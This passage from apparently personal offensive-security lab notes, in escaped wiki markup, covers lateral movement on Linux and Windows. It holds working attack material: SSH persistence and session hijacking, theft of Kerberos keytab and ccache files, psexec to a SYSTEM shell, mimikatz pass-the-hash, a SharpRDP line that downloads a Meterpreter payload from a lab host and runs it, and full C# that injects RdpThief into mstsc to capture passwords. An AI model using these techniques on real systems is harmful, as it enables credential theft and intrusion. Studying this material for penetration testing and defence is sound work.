* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
